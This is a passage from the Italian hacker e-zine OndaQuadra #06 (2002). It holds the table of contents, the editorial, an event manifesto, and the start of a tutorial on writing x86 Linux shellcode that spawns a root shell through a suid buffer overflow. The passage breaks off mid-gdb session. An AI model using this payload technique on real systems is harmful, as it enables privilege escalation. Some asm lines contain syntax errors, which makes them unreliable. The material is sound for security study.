Copy Link
Add to Bookmark
Report
OndaQuadra 06
::::::::::::::,. ..,::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::, ,::::::::,,,,,:::::::::::::,. .,::::,. ,:::
:::::::, h@@@@@@@@@r .::::, ,::::::::. :@@@@; ,:. s@@@M,:::
:::::, @@@@GX@@@@@@@@@, .::. #@@@@@@r ,:::::, S@@@ .@@@ :@@@2..,.:::
::::. @@@B ,@@@@@@@; ,:.@@@@@@@@@@@. ,:::: A@@. r@@. @@@ .::::
:::. i@@@H ,:::. @@@@@@@ .: ;, X@@@@@@@@ :::, 2@@, . @@@ @@@hH@@X ,:::
::, ;@@@@; ,:::::. :@@@@@@ .:,. A@@@@@@@@G ,:: @@G ., :@@s X@@@s @@@r.:::
::. @@@@@3 :::::: @@@@@2 ,::: @@@@@@@@@@ :: S@@. . @@@ @@X @@@..:::
:: .@@@@@@r ,,,. @@@@, ::: @@@@@@@@@@@r , ;@@, @@@ :@@2 @@@: ,:::
::. @@@@@@@@, @@@; .::, ;@@@@@@@@@@@@; s@@@@@@ . ,@@@@@@s .::::
::, .@@@@@@@@@@@@@@@ ,:, G@@@@@@@@@@@@@@@@i ,::. ,:::::
:::. .@@@@@@@@@@@, .:::, 9@@@@@@@@@@@@@@@@@@@@@. ,::::::::::::::::::::::
::::, S33i. .,::::: @@@@@@@@@@@@@@@@@@@@@@@@i ,:::::::::::::::::::::
::::::,. ,::: S@@@@@@@@@@@@@@@@@@@@@@@@@# ,:::::::::::::::::::
::::::, .G@@@@@@&, ,, A@@@@@@@@@@@@@@@@@@@@@@@@@@@2 .::::::::::::::::::
:::, @@@@@@@@@@@@@@ . B@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. .:::::::::::::::::
::. S@@@ s@@@@@@@: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@r .::::::::::::::::
:. .@@@G ,::, @@@@@@@ . @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. ,:::::::::::::::
: ,@@@@ ::::::. :@@@@@@ ,, s@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .:::::::::::::::
. @@@@@ ::::::: A@@@@# ,:, @@@@@@@@@@@@@@@@@@@@@@@@@@@@X.:::::::::::::::
.@@@@@r ,::::: @@@@H ::::. @@@@@@@@@@@@@@@@@@@@@@@@@@2 .:::::::::::::::
..@@@@@@i 3@@@, ,::::, &@@@@@@@@@@@@@@@@@@@@@@@@@@, ,:::::::::::::::
, @@@@@@@@@r. :#@@@. .::::::, :@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,:::::::::::::::
: s@@@@@@@@@@@@X .::::::,,, @@@@@@@@@@@@@@@@@@@@@@@@@@@ ,:::::::::::::::
:,. .@H .,,:::. s@@; X :@@@@@@@@@@@@@@@@@@3 ,:::::::::::::::
:::. r@@@@@@@X: @@@@@@@@@@ s :@B#@@@@@@@@@@@@@@@r .:::::::::::::::
::::@@@@@@@@@@@@@@@@@@A; : r3@@@r3S@@@@@@@@@@@@@@ .::::::::::::::
:::. .2@@@@@@@@@@@@@@@@X. ;5.@@@@@@@@@@@@@@@; ,::::::,..,:::
::::,,.. i@@@@@@@@@@@@@@@@Mr :@@@@@@@@@@@@@@@;,::,. .r.:::
:::::::::::::,. h@@@@@@@@@@@@@@@@@Mr @@@@@@@@S .9@@@H,:::
:::::::::::::::::,, ;B@@@@@@@@@@@@@@@@@3; i@@@@@@r ,:::
:::::::::::::::::::::::,. ;H@@@@@@@@@@@@@@@@@@@@@@@@@@@@@i .,:::::
::::::::::::::::::::::::::::,,. .:sh#@@@@@##Ah3i:. ,::::::::::
:::::::::::::::::::::::::::::::::::,. .,,:::::::::::::::
::::::::::::::::::::::::::::::::::::::,,................,,::::::::::::::::::
+--------------------------------------------------------------------------+
| ONDAQUADRA #06 - 25/04/2002 |
+--------------------------------------------------------------------------+
| Tutto nel ciberspazio |
| E' scandito dalla squarewave |
| Dei micro-processori |
| Il clock dei micro |
| E' come |
| Un battito cardiaco |
| Elettronico... |
+--------------------------------------------------------------------------+
| http://ondaquadra.cjb.net |
| mail@ondaquadra.cjb.net ~ articoli@ondaquadra.cjb.net |
+--------------------------------------------------------------------------+
<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->
+--------------------------------------------------------------------------+
| LEGAL DISCLAIMER |
+--------------------------------------------------------------------------+
| |
| Nessuna persona dello staff di OndaQuadra si assume responsibilita' |
| per l'uso improprio dell'utilizzo dei testi e dei programmi presenti |
| nella e-zine, ne' per danni a terzi derivanti da esso. |
| OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni |
| effettuate con la legge 23 dicembre 1993, n.547 ed in particolare |
| agli artt. 615-quater- e 615-quinques-. |
| Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come |
| avvengono le tecniche di intrusione al fine di far comprendere come |
| sia possibile difendersi da esse, rendere piu' sicura la propria box e |
| in generale approfondire le proprie conoscenze in campo informatico. |
| I programmi allegati sono semplici esempi di programmazione che hanno |
| il solo scopo di permettere una migliore comprensione di quanto |
| discusso e spiegato nei testi. |
| Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001, |
| n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex |
| art. 1 e pertanto non inclusa nella previsione dell'art.5 della legge |
| 8 febbraio 1948, n.47. |
| |
+--------------------------------------------------------------------------+
<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->
+--------------------------------------------------------------------------+
| COSTITUZIONE DELLA REPUBBLICA ITALIANA |
+--------------------------------------------------------------------------+
| Diritti e doveri dei cittadini: Rapporti civili |
| |
| Articolo 21 |
| Tutti hanno diritto di manifestare liberamente il proprio pensiero |
| con la parola, lo scritto e ogni altro mezzo di diffusione. [...] |
+--------------------------------------------------------------------------+
<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->
+--------------------------------------------------------------------------+
| INDICE |
+--------------------------------------------------------------------------+
| [L0GiN] |
| 0x01 iNTR0 AL NUMER0 06 ................................... [oq ~ staff] |
| 0x02 ViSi0NARi ............................................ [oq ~ staff] |
| 0x03 iPSE DiXiT ........................................... [oq ~ staff] |
| 0x04 F3C0D&FUN ............................................. [Cornelius] |
+--------------------------------------------------------------------------+
| [HACKiNG] |
| 0x05 GH0ST iN THE SHELL: iNTR0DUZi0NE ALL0 SHELLC0DiNG ......... [trtms] |
| 0x06 DNS SP00F ATTACK ........................................... [E4zy] |
+--------------------------------------------------------------------------+
| [NETW0RKiNG] |
| 0x07 FiREWALKiNG ................................................ [E4zy] |
| 0x08 NMAP .................................................. [ADvAnCeD'] |
+--------------------------------------------------------------------------+
| [LiNUX] |
| 0x09 iN SHELL WE TRUST - PARTE 2 .............................. [lesion] |
| 0x0A TCP/iP & SOCKET iN LiNUX ................................ [SNHYPER] |
| 0x0B LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD ......... [xyzzy] |
+--------------------------------------------------------------------------+
| [C0DiNG] |
| 0x0C C0RS0 Di C [PARTE QUARTA] .......................... [AndreaGeddon] |
| 0x0D 0S FR0M ZER0 CHAPTER 3 ...................... [Alexander The Great] |
+--------------------------------------------------------------------------+
| [MiSC] |
| 0x0E CAPiRE E PREVENiRE GLi ATTACCHi: SQL iNJECTi0N .......... [SHNYPER] |
| 0x0F 0PERAT0Ri L0GiCi E NUMERAZi0NE ESADECiMALE ................ [CiLi0] |
| 0x10 FiLESERVER BUG ................................. [^_][ice][man][_^] |
| 0x11 PR0GRAMMARE LE RAW S0CKET (TRADUZi0NE) ............. [XpTerminator] |
| 0x12 USELESS NETBSD M0DULE ................................... [_beb0s_] |
| 0x13 iL BUG DEL UPNP ............................................. [e4m] |
| 0x14 WiN2000 B00TSECT0R REVERSiNG (VERSi0NE FAT 32) ............. [albe] |
+--------------------------------------------------------------------------+
| [LO SCiAMANO] |
| 0x15 G0VNET - LA RETE DEL G0VERN0 ................... [MightyInquisitor] |
| 0x16 FREAKNET MEDiALAB: DESTiNAT0 ALLA CHiUSURA? ........ [Alcatraz2100] |
| 0x17 LA N0RMATiVA iTALiANA RiGUARD0 i CRiMiNi .......................... |
| iNF0RMATiCi..................................... [MigthyInquisitor] |
+--------------------------------------------------------------------------+
| [L'APPRENDiSTA STREG0NE] |
| 0x18 GUiDA SUL MiRC SCRiPTiNG [PARTE QUARTA] ......... [[]_CyBeRPuNK_[]] |
| 0x19 C0DiCE iNVERS0: CRiTT0GRAFiA DiGiTALE AVANZATA PARTE 3 ..... [zer0] |
| 0x1A ASSEMBLY? N0 GRAZiE N0N FUM0 [V0LUME I] .................... [e4m] |
| 0x1B iNSTALLAZi0NE Di APACHE, PHP, MYSQL PER WiN32 ........ [DiRtYdoZeN] |
+--------------------------------------------------------------------------+
| [SHUTD0WN] |
| 0x1C "L'ETiCA HACKER" Di PEKKA HiMANEN ......................... [bubbo] |
+--------------------------------------------------------------------------+
| [C0NTATTi] |
| 0x1D D0VE TR0VARCi ........................................ [oq ~ staff] |
+--------------------------------------------------------------------------+
| [ALLEGATi] |
| 0x01 LC.ZIP ...................................... [Alexander The Great] |
| 0x02 S0CKET.ZIP .............................................. [SHNYPER] |
| 0x03 G0VNET_0RiGiNAL.TXT ............................ [MightyInquisitor] |
| 0x04 REGiSTRAT0RE.ZIP ............................... [^_][ice][man][_^] |
| 0x05 SECURiTY iNF0 ............................................... [e4m] |
+--------------------------------------------------------------------------+
<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #06 - 25/04/2002 |
| iNTR0 AL NUMER0 06 [oq ~ staff] 0x01/0x1D |
+--------------------------------------------------------------------------+
| Pronti, partenza, via! |
| Eccoci qui, un altra puntata entusiasmante di quello che e' il nostro |
| progetto, OndaQuadra. |
| Prima di cominciare con il solito intro noioso volevo porgere le mie |
| (nostre) scuse a tutti i lettori per due motivi. |
| Il primo, e di questo la colpa e' in gran parte mia, e' il grande |
| lasso di tempo che ha diviso questo numero 06 dallo scorso. |
| Putroppo per impegni vari, sia io che gli altri autori non siamo |
| riusciti a fare prima, sorry! |
| (A dire la verita' si sarebbe potuto far prima, se si doveva stare ad |
| aspettare soltanto gli autori, ma qui scatta la mia parte di colpa, |
| che pero' e' scusata dal fatto che ho lavorato come uno schiavo per un |
| bel periodo). |
| Il secondo motivo e' il tanto annunciato portale di OndaQuadra, che |
| sempre per motivi "tecnici" (impegni nella real-life), non e' ancora |
| giunto al termine. |
| Chiusa la parentesi riguardante le scuse voglio cominciare con |
| illustrare un po' questo nuovo numero. |
| Non cito tutti gli articoli presenti perche' non ne vale la pena, |
| visto che appena sopra di questo editoriale c'e' un indice che e' |
| fatto apposta per questo, ma mi limitero' a citare quegli articoli che |
| sembra abbiano riscontrato piu' successo tra i lettori. |
| Siamo giunti alla terza puntata dell'articolo di Alexander the Great |
| su come costruire un sistema operativo (0S FR0M CHAPTER 3) e per |
| rendere felici tutti gli interessati abbiamo allegato i sorgenti del |
| kernel sviluppato da Alex. |
| Una nota di riguardo va per il mio corso di C, che purtroppo (sempre |
| per i motivi di cui sopra) da questo numero non curero' piu' io, ma |
| sara' curato da Andrea Geddon, sempre semplice, sempre intuitivo, e |
| probabilmente anche piu' dettagliato dei corsi passati. |
| Con questo numero congediamo anche gli articoli di CyBeRPuNK |
| riguardanti il MiRC scripting, che ci hanno tenuto compagnia per ben 4 |
| numeri. |
| Sinceramente non saprei quali altri articoli scegliere da |
| "pubblicizzare" in quest'intro, anceh perche' se mi mettessi ad |
| elencare tutti gli articoli che sono presenti questo editoriale |
| diventerebbe lungo quasi quanto la rivista. |
| Un ultima nota di rilievo (solo come cronologia, non come importanza) |
| la voglio dare alla manifestazione che si terra' il 15 e 16 Giugno a |
| Piedimonte Matese (CE), una manifestazione molto interessante |
| sull'open source e il retro computing (per maggioni informazioni |
| vedere l'articolo 0x03). |
| Ah, quasi dimenticavo, un'altra cosa, prometto che e' l'ultima poi me |
| ne vado a nanna e chiudo quest'editoriale. |
| ;P |
| Ne "L0 SCiAMAN0" c'e' un'articolo scritto da uno degli organizzatori |
| dell'hackmeeting 01 che si e' svolto al FreakNet di Catania, un |
| appello per... beh, leggetelo da soli :)) |
| Passo e chiudo |
| Vi auguro una buona lettura, sperando che tutto il resto del numero |
| risulti un pochino piu' in italiano di questo editoriale che (mi |
| dispiace ma me ne sono accorto ora che ho finito di scriverlo e non ho |
| voglia di ricominciare da capo) fa davvero schifo. |
| Alla prossima gente. |
| See ya |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #06 - 25/04/2002 |
| ViSi0NARi 0x02/0x1D |
+--------------------------------------------------------------------------+
| |
|"Ogni Uomo e' una Stella: fai cio' che Vuoi" |
|(Aleister Crowley) |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #06 - 25/04/2002 |
| iPSE DiXiT 0x03/0x1D |
+--------------------------------------------------------------------------+
| |
| "La risata e` la perdita momentanea del controllo delle proprie |
| emozioni" |
| MightyInquisitor |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #06 - 25/04/2002 |
| F3C0D&FUN [Cornelius] 0x04/0x1D |
+--------------------------------------------------------------------------+
| *********************************************************** |
| Manifesto - F3COD&FUN - Prima edizione 2002 - |
| Open Source Hacking Party and Retro Computing Fun |
| [ http://www.f3codandfun.org ] |
| *********************************************************** |
| |
| Quando nel lontanissimo 1981 acquistai con i miei risparmi un |
| computer Commodore VIC 20 usato, fu per me un momento magico, in- |
| dimenticabile. Avevo +/- 15 anni ma ricordo ancora benissimo le |
| sensazioni interiori ed intellettuali che suscito' in me quel |
| primo computer. E' difficile descrivere le sensazioni che provai |
| in quei momenti in cui corsi subito a casa per accenderlo, era |
| qualcosa di metafisico. Non conoscevo nulla di computer, di |
| byte, di CPU, di software. Avevo solo un'incontenibile forza in- |
| teriore di imparare tutto e presto. Divorai il manuale utente |
| come fosse una questione di vita o di morte iniziando subito |
| a scrivere i primi programmi in BASIC e qualche anno dopo in as- |
| sembler. |
| |
| Tutto ebbe inizio con quel piccolo, grande computer... Il VIC20! |
| Dopo ne vennero molti altri, sempre + potenti e costosi... Sem- |
| brava che una specie di aureola spirituale/tecnologica fosse |
| scesa su di me nel 1981, e da allora non mi ha + abbandonato. |
| |
| L'informatica e l'elettronica divennero x me il pane quotidiano e |
| quell'aureola misteriosa che sentivo sempre presente dentro di me |
| mi spingeva misteriosamente ad imparare sempre +, sempre +...... |
| Iniziai a pensare seriamente che io fossi afflitto da qualche |
| forma strana di anomalia comportamentale, o cose di questo |
| tipo... |
| |
| ma col passare del tempo scoprii con gioia e stupore che io non |
| ero il solo a possedere quella cosiddetta "Anomalia tecnologi- |
| ca", ma anche altri ragazzi come me la possedevano. Allora |
| iniziammo istintivamente a stringerci culturalmente insieme in |
| una sorta di club dove poterci scambiare opinioni, idee, aiuti |
| e programmi. |
| |
| Era semplicemente fantastica l'aria che si respirava in quei |
| pomeriggi dove si parlava solo e semplicemente di computer e di |
| software... |
| |
| Accadde poi un fatto che segno' per sempre la nostra visione |
| delle cose e dell'informatica... si apri' davanti a noi la strada |
| di un mondo unico, affascinante, virtuale, incantato ed ines- |
| plorato... Il mondo della telematica delle prime BBS che a meta' |
| degli anni 80 spuntarono come funghi digitali. Fu il mitico film |
| "War Games" che uscendo nel 1983, fece letteralmente esplodere il |
| gia' rovente ambiente... e tutti ci facemmo regalare per natale |
| un modem... Il resto e' storia... |
| |
| Ognuno di noi divenne poi un vero esperto: chi all'Universi- |
| ta', chi presso aziende di Telecomunicazioni, chi presso |
| Software House, chi giornalista tecnico, ecc. Di tanto in tanto |
| ci capita di ritornare con la mente a quei romantici e magi- |
| ci momenti di informatica pioneristica e spensierata che hanno |
| svezzato i nostri cuori tecnologici... |
| |
| Col passare del tempo pero' ognuno di noi quasi dimentico' |
| quegl'anni mitici, relegandoli e chiudendoli nel cuore... In- |
| iziammo pero' tutti noi, indifferentemente e autonomamente a |
| scontrarci giornalmente con la contorta realta' delle aziende in |
| cui ci trovavamo a lavorare... Ci scontravamo (e tuttora ci |
| scontriamo) con i monopoli, le forme di controllo, i software |
| progettati male, la burocrazia tecnica che affossa le idee e |
| l'ingegno in favore di soluzioni costose ed inefficienti di |
| aziende che dettate da fredde regole di marketing puntano es- |
| clusivamente al profitto ed all'inganno... |
| |
| Tutta quella magia e quell'energia positiva (un'energia che |
| ci spingeva negli anni 80 fraternamente a studiare e smontare |
| per cercare di capire come funzionano le cose) che noi credevamo |
| quasi perduta, ci rendemmo conto un giorno che non si era x nulla |
| dispersa... |
| |
| Anzi al contrario scoprimmo che altri individui della nostra |
| stessa specie generazionale come Richard Stallman, Eric Ray- |
| mond, Linus Torvalds e tanti altri con coraggio, sacrificio e |
| forza lottarono per fare in modo che concetti poetici come lo |
| studio, la codivisione delle idee e la liberta' fossero i buoi |
| trainanti di quel carro che poi diventera' in seguito la grande |
| scuola di pensiero del "Free Software" e della filosofia |
| "Open Source"... |
| |
| Oggi siamo certi che quella magia misteriosa che respiravamo |
| negli anni 80 risiede completamente e pienamente nella filosofia |
| software dello sviluppo Open Source e del Free Software :-)) |
| |
| Ecco allora che la manifestazione F3COD&FUN (si legge free cod |
| and fun e che significa scrivi e/o condividi codice libero e di- |
| vertiti nel farlo), il cui nome sintetizza appunto questa forma |
| di energia intellettuale, servira' per creare due giorni di in- |
| tensa festa (appunto party), di incontro, di scambio spensierato |
| di idee ed opinioni, di programmi, di ribellione, di amicizia, |
| di utopia, e di tutto quanto possa servire ad arricchire tecnica- |
| mente e culturalmente chiunque lo desideri... |
| |
| Ritorneremo a respirare quell'area mistica, incantata dei club |
| di hackers degli anni 80 dove tutto dal bullone al chip, dal |
| floppy al software di sistema, fino alle riviste culto come "pa- |
| per soft" contribuiva ad arricchire il nostro know-how e la nos- |
| tra sete di conoscenza. |
| |
| Al F3COD&FUN non ci saranno copioni convenzionali, linee guida da |
| seguire, rigide regole comportamentali, saremo tutti liberi di |
| navigare, programmare, assemblare, installare, smontare, giocare, |
| bere birra, mostrare ai neofiti la bellezza ed affidabilita' di |
| un sistema aperto e non controllato da ingorde multinazionali, o |
| semplicemente mangiare un panino con la salsiccia davanti ad |
| un'intramontabile PacMac su Apple II, potremo condividere pezzi |
| di software e pezzi di hardware, barattare schede elettroniche o |
| schemi elettrici... |
| |
| Si ammireranno e si ritoccheranno le mitiche macchine che |
| hanno segnato x sempre l'informatica mondiale e che hanno cullato |
| i nostri cuori tecnologici... Sara' un tuffarsi nel futuro con la |
| filosofia Open Source ma sara' anche un tuffo nel romantico pas- |
| sato con il retro computing per ricordare a tutti che non e' af- |
| fatto necessario possedere un computer super pompato per di- |
| ventare esperti, ma basterebbe anche un modesto computer a 8 |
| bit... Ed a tal proposito vedremo demos grafici su C64 scritti |
| in puro assembler che in soli 30 Kb di RAM e con un clock macchi- |
| na di 1 Mhz fare cose incredibili. |
| |
| Rivivremo al F3COD&FUN tutti insieme le nostre radici tecno- |
| logiche. |
| |
| Se ritieni giusto, romantico, importante, utile o chissa' che |
| cosa questo manifesto allora sei il benvenuto... Porta il tuo |
| sistema Open Source alla manifestazione, o il tuo sistema obsole- |
| to che tutti dicono sorpassato e vivrai con noi un'esperienza |
| unica ed indimenticabile. |
| |
| E che l'hacking sia con voi :-) |
| |
| Cornelius (organizzatore della prima edizione del F3COD&FUN) |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #06 - 25/04/2002 |
| GH0ST iN THE SHELL: iNTR0DUZi0NE ALL0 SHELLC0DiNG [trtms] 0x05/0x1D |
+--------------------------------------------------------------------------+
| |
| ================================================= |
| |
| 1. Introduzione |
| 1.1 Requisiti |
| |
| 2. Buffer overflow |
| |
| 3. Ghost in the shell |
| 3.1 Strumenti & fini |
| 3.2 Rootshell |
| |
| 4. Shellcoding |
| 4.1 (X)ora et (e)labora |
| 4.2 La Via della Mano Destra |
| |
| 5. Conclusione |
| |
| 6. Fonti |
| |
| |
| 1. Introduzione |
| ------------------------------------------------------------------------ |
| Il fine di questo articolo e' quello di aiutare a comprendere i |
| meccanismi che si nascondono dietro gli shellcode e stimolare il |
| lettore ad approfondire il tema, aiutandolo a raggiungere l'abilita' |
| di scrivere shellcode autonomamente. |
| |
| Credo che questa sia la prima guida in italiano esclusivamente |
| dedicata allo shellcoding. Spero sia utile a chi sia avvicina al mondo |
| della sicurezza; a chi ha un sistema da "difendere" e vuole |
| comprendere meglio le tecniche di attacco dei cracker; a chi vuole |
| abbandorare il lameraggio e avviarsi verso il rutilante mondo degli |
| 0days, |
| lameraggio d'elite... :D |
| |
| |
| 1.1 Requisiti |
| -------------- |
| |
| |
| |
| 2. Buffer overflow |
| ------------------------------------------------------------------------ |
| Non mi soffermo sul buffer overflow. Esistono testi in italiano che |
| hanno parlato del buffer overflow (vedere i vecchi numeri di BFi); chi |
| conosce l'inglese puo' trovare nella bibliografia i riferimenti |
| necessari. |
| |
| Qui voglio solo ricordare che lo shellcode viene generalmente inserito |
| nello stack tramite funzioni di copia delle stringhe (es. strcpy); |
| questa funzione prevede che la fine della stringa sia identificata dal |
| carattere 0, quindi lo shellcode non puo' contenrere questo carattere. |
| |
| In questa sede naturalmente si parla dei casi basilari, necessari per |
| spiegare i concetti. Non si parla di heap, overflow da un byte, di |
| shellcode polimorfiche e nemmeno di |
| |
| contromisure contro gli IDS: credo sia gia' abbastanza complicato |
| cosi' per chi deve capire il meccanismo. |
| |
| Ricordo solo che se vogliamo ottenere una root shell, dobbiamo |
| attaccare un programma che giri con i privilegi di root e sia |
| accessibile anche da un utente normale (suid). |
| |
| |
| 3. Ghost in the shell |
| ------------------------------------------------------------------------ |
| |
| 3.1 Strumenti & fini |
| -------------------- |
| In questa sede si parlera' di shellcode x86 su piattaforma Linux; il |
| lettore deve essere in grado di compilare programmi con gcc e deve |
| conoscere (anche in modo superficiale) gdb. |
| Realizzeremo uno shellcode classico: l'esecuzione di sh come root |
| partendo dai privilegi di utente. |
| |
| |
| 3.2 Rootshell |
| --------------- |
| T |
| void main(){ |
| char *sh[2]; |
| sh[0]="/bin/sh"; |
| sh[1]=0; |
| execve(sh[0],sh,0); |
| } |
| |
| TA noi basta sapere che necessita di tre parametri: |
| 1. la stringa che contiene il comando da eseguire |
| 2. puntatore a un array contenente i parametri da passare (per noi 0) |
| 3. i parametri di ambiente (per noi nulli). |
| |
| Compiliamo il programmino con -static e poi lanciamo gdb: |
| |
| gcc shell.c -o shell -static |
| gdb shell |
| |
| quindi andiamo a vedere cosa fa la funzione execve: |
| |
| (gdb) disas execve |
| |
| Dump of assembler code for function __execve: |
| 0x804cfdc <__execve>: push %ebp |
| 0x804cfdd <__execve+1>: mov $0x0,%eax |
| 0x804cfe2 <__execve+6>: mov %esp,%ebp |
| 0x804cfe4 <__execve+8>: sub $0x10,%esp |
| 0x804cfe7 <__execve+11>: push %edi |
| 0x804cfe8 <__execve+12>: push %ebx |
| 0x804cfe9 <__execve+13>: mov 0x8(%ebp),%edi |
| 0x804cfec <__execve+16>: test %eax,%eax |
| 0x804cfee <__execve+18>: je 0x804cff5 <__execve+25> |
| 0x804cff0 <__execve+20>: call 0x0 |
| 0x804cff5 <__execve+25>: mov 0xc(%ebp),%ecx |
| 0x804cff8 <__execve+28>: mov 0x10(%ebp),%edx |
| 0x804cffb <__execve+31>: push %ebx |
| 0x804cffc <__execve+32>: mov %edi,%ebx |
| 0x804cffe <__execve+34>: mov $0xb,%eax |
| 0x804d003 <__execve+39>: int $0x80 |
| |
| |
| a noi interessano in particolar modo queste linee: |
| |
| 0x804cfe9 <__execve+13>: mov 0x8(%ebp),%edi |
| |
| dove il primo parametro della funzione (l'indirizzo della |
| stringa "/bin/sh" viene posto in edi |
| |
| e |
| |
| 0x804cff5 <__execve+25>: mov 0xc(%ebp),%ecx |
| 0x804cff8 <__execve+28>: mov 0x10(%ebp),%edx |
| 0x804cffb <__execve+31>: push %ebx |
| 0x804cffc <__execve+32>: mov %edi,%ebx |
| 0x804cffe <__execve+34>: mov $0xb,%eax |
| 0x804d003 <__execve+39>: int $0x80 |
| |
| dove il secondo parametro (l'indirizzo di sh) viene posto in ecx |
| (mov 0xc(%ebp),%ecx), |
| il terzo parametro (NULL) in edx (0x10(%ebp),%edx). |
| Quindi viene chiamata la execve (codice $0xb): |
| |
| 0x804cffe <__execve+34>: mov $0xb,%eax |
| 0x804d003 <__execve+39>: int $0x80 |
| |
| Questo e' quello che dovra' fare il nostro shellcode: passare i tre |
| parametri e quindi chiamare execve. |
| |
| |
| 3.3 L'indirizzo misterioso |
| --------------------------- |
| Problema. Noi dovremo inserire il nostro codice sullo stack, e non |
| conosceremo a priori gli indirizzi dove il codice stesso si verra' a |
| trovare. Visto che noi dobbiamo passare dei parametri alla funzione, |
| dobbiamo conoscere almeno l'indirizzo dove poter trovare questi |
| parametri. E allora ? Ci serve un espediente per trovare questo |
| indirizzo. |
| |
| Semplice. Metteremo la stringa alla fine del codice, quindi |
| utilizzeremo una jmp e una call. Per capire bene cosa stiamo per fare |
| occorre rispolverare un po' di assembler. L'istruzione "jmp" (jump) |
| che utilizzeremo fa "saltare" il codice all'indirizzo specificato. |
| Anzi, in realta' in questo caso il parametro fornito sara' un offset, |
| ovvero un valore che rappresenta la distanza in byte dall'indirizzo di |
| destinazione. |
| |
| La "call" e' diversa; si tratta infatti di una chiamata ad una |
| subroutine. Quando viene eseguita una call, l'indirizzo immediatamente |
| successivo alla call stessa viene salvato sullo stack. Per esempio, se |
| la call si trova a questo ipotetico indirizzo: |
| |
| 0x804cff0 call vaidaqualcheparte |
| 0x804cff5 ... |
| |
| sullo stack troveremo l'indirizzo 0x804cff5. |
| |
| Ora tutto dovrebbe essere piu' chiaro. Mettendo all'inizio della |
| nostra shellcode un jmp alla fine della codice, facendolo puntare alla |
| call (che richiamera' l'inizio del codice), provocheremo il |
| salvataggio dell'indirizzo successivo alla call; se noi dopo la call |
| metteremo la nostra stringa, l'indirizzo stesso della stringa si |
| trovera' sullo stack e potra' essere comodamente recuperato con una |
| semplice istruzione "popl". |
| |
| ovvero: |
| |
| jmp finecodice ; salta a fine codice |
| inizio: ; label di inizio codice |
| popl esi ; preleva eip dallo stack |
| ...\ |
| ... shellcode ; corpo dello shellcode |
| .../ |
| finedocie: ; label di fine codice |
| call inizio ; la call provoca il salvataggio di eip sullo stack, |
| ovvero l'indirizzo |
| ; della nostra stringa |
| .stringa "/bin/sh" : la stringa da passare a execve |
| |
| il codice parte, salta a "finecodice:", esegue la call: l'indirizzo |
| della stringa viene salvato sullo stack. La call porta il flusso del |
| programma a "inizio:" dove l'istruzione popl recupera l'indirizzo |
| della stringa. Abbiamo tutto quello che ci serve, possiamo proseguire. |
| |
| |
| 4. Shellcoding |
| ------------------------------------------------------------------------ |
| Ora diamo uno sguardo a come si presentera' il nostro codice in |
| assembler: |
| |
| shell1.c |
| void main(){ |
| __asm__("jmp fine: \n" |
| "inizio: popl %esi \n" |
| "movl %esi,0x8(%esi) \n" |
| "movl $0x0,0xc(%esi) \n" |
| "movb $0x0,0x7(%esi) \n" |
| "movl %esi,%ebx \n" |
| "leal %0x8(%esi),%ecx \n" |
| "leal %0xc(%esi),%edx \n" |
| "movl $0xb,%eax \n" |
| "int $0x80 \n" |
| "fine: call inizio: \n" |
| " .string \"/bin/sh\" \n"); |
| } |
| |
| |
| Viene impostata la label "inizio:" che servira' alla call, quindi |
| dopo la popl %esi, esi stesso conterra' l'indirizzo della stringa. |
| |
| __asm__("inizio: jmp fine: \n" |
| "popl %esi \n" |
| |
| dobbiamo sistemare i parametri. Copiamo l'indirizzo della stringa |
| nel secondo parametro |
| |
| "movl %esi,0x8(%esi) \n" |
| |
| mettiamo uno zero nel terzo |
| |
| "movl $0x0,0xc(%esi) \n" |
| |
| e mettiamo zero alla fine della nostra stringa, carattere di fine |
| stringa |
| |
| "movb $0x0,0x7(%esi) \n" |
| |
| quindi passiamo gli indirizzi dei parametri nei registri dove execve |
| si aspetta di trovarli... (ebx,ecx,edx) |
| |
| "movl %esi,%ebx \n" |
| "leal %0x8(%esi),%ecx \n" |
| "leal %0xc(%esi),%edx \n" |
| |
| si esegue la chiamata a execve |
| |
| "movl $0xb,%eax \n" |
| "int $0x80 \n" |
| "fine: call inizio: \n" |
| " .string \"/bin/sh\" \n"); |
| } |
| |
| e ci troviamo root :) |
| |
| |
| 4.1 (X)ora et (e)labora |
| ------------------- |
| Benche' la cosa possa sembrare gia' abbastanza complicata, i problemi |
| non sono ancora finiti :) Infatti, se compiliamo il codice appena |
| presentato, troveremo degli zeri all'interno dello shellcode, e questo |
| (vedi paragrafo[2]) non va bene. |
| |
| Lanciamo gdb shell1 |
| |
| Copyright 2000 Free Software Foundation, Inc. |
| GDB is free software, covered by the GNU General Public License, and |
| you are welcome to change it and/or distribute copies of it under |
| certain conditions. |
| Type "show copying" to see the conditions. There is absolutely no |
| warranty for GDB. Type "show warranty" for details. This GDB was |
| configured as "i386-slackware-linux"... |
| (gdb) x/bx main+3 (saltiamo il preambolo che non ci serve) |
| 0x80483b7 <main+3>: 0xe9 |
| (gdb) |
| 0x80483b8 <main+4>: 0x62 |
| (gdb) |
